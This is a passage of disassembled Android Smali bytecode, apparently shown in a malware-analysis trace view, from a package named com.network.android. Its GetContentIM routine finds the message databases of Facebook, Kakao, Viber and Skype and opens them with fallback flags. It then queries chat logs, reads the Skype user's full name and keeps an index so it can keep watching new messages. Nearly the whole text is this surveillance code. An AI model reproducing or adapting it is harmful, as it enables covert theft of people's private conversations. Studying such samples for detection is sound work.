      16invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      18iget-object v1, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      20invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      21move-result-object v0
      23const-string v1, "GetContentIM getIM MY_SU does not exists. returning"
      25invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      26move-result-object v0
      28invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      29move-result-object v0
      31invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068691
        • p0: facebookGetContentIM getIM MY_SU does not exists. returning
      • Time: 1068766
        • p0: kakaoGetContentIM getIM MY_SU does not exists. returning
      • Time: 1068804
        • p0: viberGetContentIM getIM MY_SU does not exists. returning
      32goto_2b: return-void
      33cond_2c:
      34iget-object v1, p0, Lcom/network/android/q;->b:Ljava/lang/String;
      35new-instance v0, Ljava/lang/StringBuilder;
      37invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      39iget-object v3, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      41invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      42move-result-object v0
      44const-string v3, "GetContentIM getIM appPath: "
      46invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      47move-result-object v0
      49iget-object v3, p0, Lcom/network/android/q;->c:Ljava/lang/String;
      51invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      52move-result-object v0
      54invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      55move-result-object v0
      57invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      58new-instance v0, Ljava/lang/StringBuilder;
      60invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      62iget-object v3, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      64invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      65move-result-object v0
      67const-string v3, "GetContentIM getIM dbPath:"
      69invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      70move-result-object v0
      72invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      73move-result-object v0
      75invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      76move-result-object v0
      78invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      79new-instance v0, Ljava/lang/StringBuilder;
      81invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      83iget-object v3, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      85invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      86move-result-object v0
      88const-string v3, "GetContentIM getIM selectQuery:"
      90invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      91move-result-object v0
      93iget-object v3, p0, Lcom/network/android/q;->d:Ljava/lang/String;
      95invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      96move-result-object v0
      98invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      99move-result-object v0
      101invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      102new-instance v0, Ljava/lang/StringBuilder;
      104invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      106iget-object v3, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      108invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      109move-result-object v0
      111const-string v3, "GetContentIM getIM indexColumn:"
      113invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      114move-result-object v0
      116iget-object v3, p0, Lcom/network/android/q;->e:Ljava/lang/String;
      118invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      119move-result-object v0
      121invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      122move-result-object v0
      124invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      125new-instance v0, Ljava/lang/StringBuilder;
      127invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      129iget-object v3, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      131invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      132move-result-object v0
      134const-string v3, "GetContentIM getIM sortIdColumn:"
      136invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      137move-result-object v0
      139iget-object v3, p0, Lcom/network/android/q;->f:Ljava/lang/String;
      141invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      142move-result-object v0
      144invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      145move-result-object v0
      147invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      149iget-object v0, p0, Lcom/network/android/q;->g:Ljava/lang/String;
      150if-nez v0, :cond_f9
      152iget-object v0, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      154invoke-static {v0}, Lcom/network/android/h;->b(Ljava/lang/String;)Ljava/lang/String;
      155move-result-object v0
      156goto_cc: new-instance v3, Ljava/io/File;
      158iget-object v4, p0, Lcom/network/android/q;->c:Ljava/lang/String;
      160invoke-direct {v3, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      162invoke-virtual {v3}, Ljava/io/File;->exists()Z
      163move-result v3
      164if-nez v3, :cond_119
      165new-instance v0, Ljava/lang/StringBuilder;
      167invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      169iget-object v1, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      171invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      172move-result-object v0
      174const-string v1, "GetContentIM getIM DB not exists -> exit!: "
      176invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      177move-result-object v0
      179iget-object v1, p0, Lcom/network/android/q;->c:Ljava/lang/String;
      181invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      182move-result-object v0
      184invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      185move-result-object v0
      187invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      188goto/16 :goto_2b
      189cond_f9: new-instance v0, Ljava/lang/StringBuilder;
      191invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      193iget-object v3, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      195invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      196move-result-object v0
      198const-string v3, "-"
      200invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      201move-result-object v0
      203iget-object v3, p0, Lcom/network/android/q;->g:Ljava/lang/String;
      205invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      206move-result-object v0
      208invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      209move-result-object v0
      211invoke-static {v0}, Lcom/network/android/h;->b(Ljava/lang/String;)Ljava/lang/String;
      212move-result-object v0
      213goto/16 :goto_cc
      214cond_119: iget-boolean v3, p0, Lcom/network/android/q;->h:Z
      215if-eqz v3, :cond_13b
      216new-instance v3, Ljava/lang/StringBuilder;
      218invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      220iget-object v4, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      222invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      223move-result-object v3
      225const-string v4, "GetContentIM getIM dump isDump:"
      227invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      228move-result-object v3
      229iget-boolean v4, p0, Lcom/network/android/q;->h:Z
      231invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
      232move-result-object v3
      234invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      235move-result-object v3
      237invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      238cond_13b: new-instance v3, Ljava/util/concurrent/locks/ReentrantReadWriteLock;
      240invoke-direct {v3}, Ljava/util/concurrent/locks/ReentrantReadWriteLock;-><init>()V
      242invoke-virtual {v3}, Ljava/util/concurrent/locks/ReentrantReadWriteLock;->readLock()Ljava/util/concurrent/locks/ReentrantReadWriteLock$ReadLock;
      243move-result-object v9
      244try_start_144:
      245iget-object v3, p0, Lcom/network/android/q;->i:Ljava/lang/String;
      247invoke-static {v3}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      248new-instance v3, Ljava/lang/StringBuilder;
      250invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      252iget-object v4, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      254invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      255move-result-object v3
      257const-string v4, "GetContentIM getIM lock"
      259invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      260move-result-object v3
      262invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      263move-result-object v3
      265invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      267const-string v3, "GetContentIM getImApp lock"
      269invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      271invoke-interface {v9}, Ljava/util/concurrent/locks/Lock;->lock()V
      273const-string v3, "GetContentIM getImApp locked"
      275invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      276new-instance v3, Ljava/io/File;
      278invoke-direct {v3, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      280invoke-virtual {v3}, Ljava/io/File;->exists()Z
      281try_end_176: move-result v3
      282if-eqz v3, :cond_5d7
      283const/4 v3, 0x0
      284const/16 v4, 0x10
      285try_start_17c:
      286invoke-static {v1, v3, v4}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      287try_end_17f: move-result-object v5
      288try_start_180: iget-boolean v1, p0, Lcom/network/android/q;->h:Z
      289if-eqz v1, :cond_328
      291const-string v0, "kakao"
      293iget-object v1, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      295invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      296move-result v0
      297if-eqz v0, :cond_2e4
      298new-instance v0, Ljava/lang/StringBuilder;
      300invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      302iget-object v1, p0, Lcom/network/android/q;->d:Ljava/lang/String;
      304invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      305move-result-object v0
      307const-string v1, " WHERE chat_logs.type = 1 ORDER BY "
      309invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      310move-result-object v0
      312iget-object v1, p0, Lcom/network/android/q;->e:Ljava/lang/String;
      314invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      315move-result-object v0
      317invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      318move-result-object v0
      319goto_1a9: new-instance v1, Ljava/lang/StringBuilder;
      321invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      323iget-object v3, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      325invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      326move-result-object v1
      328const-string v3, "GetContentIM getIM DUMP selectQuery:"
      330invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      331move-result-object v1
      333invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      334move-result-object v1
      336invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      337move-result-object v1
      339invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      340const/4 v1, 0x0
      342invoke-virtual {v5, v0, v1}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      343try_end_1c9: move-result-object v1
      344move-object v8, v2
      345goto_1cb:
      346const-string v0, "skype"
      348iget-object v3, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      350invoke-virtual {v0, v3}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      351try_end_1d2: move-result v0
      352if-eqz v0, :cond_6c5
      353try_start_1d5:
      354const-string v0, "SELECT fullname FROM accounts WHERE skypename = \'%s\' LIMIT 1"
      355const/4 v2, 0x1
      356new-array v2, v2, [Ljava/lang/Object;
      357const/4 v3, 0x0
      359iget-object v4, p0, Lcom/network/android/q;->g:Ljava/lang/String;
      360aput-object v4, v2, v3
      362invoke-static {v0, v2}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
      363move-result-object v0
      364const/4 v2, 0x0
      366invoke-virtual {v5, v0, v2}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      367move-result-object v0
      369invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z
      370const/4 v2, 0x0
      372invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      373move-result-object v7
      374new-instance v0, Ljava/lang/StringBuilder;
      376const-string v2, "GetContentIM Skype self name: "
      378invoke-direct {v0, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      380invoke-virtual {v0, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      381move-result-object v0
      383invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      384move-result-object v0
      386invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      387try_end_202:
      388iget-object v0, p0, Lcom/network/android/q;->j:Landroid/content/Context;
      390iget-object v2, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      392iget-object v3, p0, Lcom/network/android/q;->f:Ljava/lang/String;
      394iget-object v4, p0, Lcom/network/android/q;->l:Ljava/util/Map;
      396iget-object v6, p0, Lcom/network/android/q;->g:Ljava/lang/String;
      398invoke-static/range {v0 .. v7}, Lcom/network/android/p;->a(Landroid/content/Context;Landroid/database/Cursor;Ljava/lang/String;Ljava/lang/String;Ljava/util/Map;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;Ljava/lang/String;)V
      399goto_20f: if-eqz v1, :cond_214
      400try_start_211:
      401invoke-interface {v1}, Landroid/database/Cursor;->close()V
      402cond_214: if-eqz v5, :cond_222
      404invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
      405move-result v0
      406if-eqz v0, :cond_21f
      408invoke-virtual {v5}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      409cond_21f:
      410invoke-interface {v9}, Ljava/util/concurrent/locks/Lock;->unlock()V
      411cond_222: if-eqz v8, :cond_2b
      413invoke-interface {v8}, Landroid/database/Cursor;->close()V
      414try_end_227: goto/16 :goto_2b
      415catch_229: move-exception v0
      416new-instance v1, Ljava/lang/StringBuilder;
      418invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      420iget-object v2, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      422invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      423move-result-object v1
      425const-string v2, "GetContentIM getIM finally- "
      427invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      428move-result-object v1
      430invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      431move-result-object v2
      433invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      434move-result-object v1
      436invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      437move-result-object v1
      439invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      440goto/16 :goto_2b
      441catch_24c: move-exception v3
      442try_start_24d: new-instance v4, Ljava/lang/StringBuilder;
      444invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      446iget-object v5, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      448invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      449move-result-object v4
      451const-string v5, "GetContentIM openDatabase NO_LOCALIZED_COLLATORS Throwable- "
      453invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      454move-result-object v4
      456invoke-virtual {v3}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      457move-result-object v5
      459invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      460move-result-object v4
      462invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      463move-result-object v4
      465invoke-static {v4, v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      466new-instance v4, Ljava/lang/StringBuilder;
      468invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      470iget-object v5, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      472invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      473move-result-object v4
      475const-string v5, "GetContentIM getIM fail to openDatabase: "
      477invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      478move-result-object v4
      480invoke-virtual {v4, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      481move-result-object v4
      483const-string v5, ", try to open with OPEN_READONLY"
      485invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      486move-result-object v4
      488invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      489move-result-object v4
      491invoke-static {v4}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      492const/4 v4, 0x0
      493const/16 v5, 0x11
      495invoke-static {v1, v4, v5}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      496try_end_295: move-result-object v5
      497goto/16 :goto_180
      498catch_298: move-exception v4
      499try_start_299: new-instance v4, Ljava/lang/StringBuilder;
      501invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
      503iget-object v5, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      505invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      506move-result-object v4
      508const-string v5, "GetContentIM cant openDatabase SQLiteDatabase.NO_LOCALIZED_COLLATORS | SQLiteDatabase.OPEN_READONLY Throwable- "
      510invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      511move-result-object v4
      513invoke-virtual {v3}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      514move-result-object v5
      516invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      517move-result-object v4
      519invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      520move-result-object v4
      522invoke-static {v4, v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      523new-instance v3, Ljava/lang/StringBuilder;
      525invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
      527iget-object v4, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      529invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      530move-result-object v3
      532const-string v4, "GetContentIM getIM fail to openDatabase: "
      534invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      535move-result-object v3
      537invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      538move-result-object v3
      540const-string v4, ", try to open with CONFLICT_IGNORE"
      542invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      543move-result-object v3
      545invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      546move-result-object v3
      548invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      549const/4 v3, 0x0
      550const/16 v4, 0x14
      552invoke-static {v1, v3, v4}, Landroid/database/sqlite/SQLiteDatabase;->openDatabase(Ljava/lang/String;Landroid/database/sqlite/SQLiteDatabase$CursorFactory;I)Landroid/database/sqlite/SQLiteDatabase;
      553try_end_2e1: move-result-object v5
      554goto/16 :goto_180
      555cond_2e4:
      556const-string v0, "skype"
      558iget-object v1, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      560invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
      561move-result v0
      562if-eqz v0, :cond_30b
      563new-instance v0, Ljava/lang/StringBuilder;
      565invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      567iget-object v1, p0, Lcom/network/android/q;->d:Ljava/lang/String;
      569invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      570move-result-object v0
      572const-string v1, " WHERE chatmsg_type = 3 ORDER BY "
      574invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      575move-result-object v0
      577iget-object v1, p0, Lcom/network/android/q;->e:Ljava/lang/String;
      579invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      580move-result-object v0
      582invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      583move-result-object v0
      584goto/16 :goto_1a9
      585cond_30b: new-instance v0, Ljava/lang/StringBuilder;
      587invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      589iget-object v1, p0, Lcom/network/android/q;->d:Ljava/lang/String;
      591invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      592move-result-object v0
      594const-string v1, " ORDER BY "
      596invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      597move-result-object v0
      599iget-object v1, p0, Lcom/network/android/q;->e:Ljava/lang/String;
      601invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      602move-result-object v0
      604invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      605move-result-object v0
      606goto/16 :goto_1a9
      607cond_328:
      608iget-object v1, p0, Lcom/network/android/q;->j:Landroid/content/Context;
      610const-string v3, "NetworkMessages"
      611const/4 v4, 0x0
      613invoke-virtual {v1, v3, v4}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      614move-result-object v4
      615const/4 v1, 0x0
      617invoke-interface {v4, v0, v1}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
      618try_end_335: move-result-object v3
      619try_start_336: new-instance v1, Ljava/lang/StringBuilder;
      621invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      623iget-object v6, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      625invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      626move-result-object v1
      628const-string v6, "GetContentIM getIM DB MONITOR index:"
      630invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      631move-result-object v1
      633invoke-virtual {v1, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      634move-result-object v1
      636const-string v6, ", by date:"
      638invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      639move-result-object v1
      640new-instance v6, Ljava/util/Date;
      642invoke-static {v3}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J
      643move-result-wide v7
      645invoke-direct {v6, v7, v8}, Ljava/util/Date;-><init>(J)V
      647invoke-virtual {v6}, Ljava/util/Date;->toString()Ljava/lang/String;
      648move-result-object v6
      650invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      651move-result-object v1
      653invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      654move-result-object v1
      656invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      657goto_369: if-nez v3, :cond_6cc
      658try_start_36b: new-instance v1, Ljava/lang/StringBuilder;
      660invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
      662iget-object v6, p0, Lcom/network/android/q;->d:Ljava/lang/String;
      664invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      665move-result-object v1
      667const-string v6, " ORDER BY "
      669invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      670move-result-object v1
      672iget-object v6, p0, Lcom/network/android/q;->e:Ljava/lang/String;
      674invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      675move-result-object v1
      677const-string v6, " DESC LIMIT 1"
      679invoke-virtual {v1, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      680move-result-object v1
      682invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      683move-result-object v1
      684new-instance v6, Ljava/lang/StringBuilder;
      686invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      688iget-object v7, p0, Lcom/network/android/q;->a:Ljava/lang/String;
      690invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      691move-result-object v6
      693const-string v7, "GetContentIM getIM MONITOR SELACT FIRST INDEX selectFirstIndexQuery:"
      695invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      696move-result-object v6
      698invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      699move-result-object v6
      701invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      702move-result-object v6
      704invoke-static {v6}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      705const/4 v6, 0x0
      707invoke-virtual {v5, v1, v6}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      708try_end_3ac: move-result-object v1
      709if-eqz v1, :cond_3fe
      710try_start_3af:
      711invoke-interface {v1}, Landroid/database/Cursor;->moveToFirst()Z
      712move-result v6
      713if-eqz v6, :cond_436
      715iget-object v6, p0, Lcom/network/android/q;->f:Ljava/lang/String;
      717invoke-interface {v1, v6}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
      718move-result v6
      720invoke-interface {v1, v6}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
      721try_end_3be: move-result-object v3
      722try_start_3bf: new-instance v6, Ljava/lang/StringBuilder;
      724invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      726iget-object v7, p0, Lcom/network/android/q;->a:Ljava/lang/String;
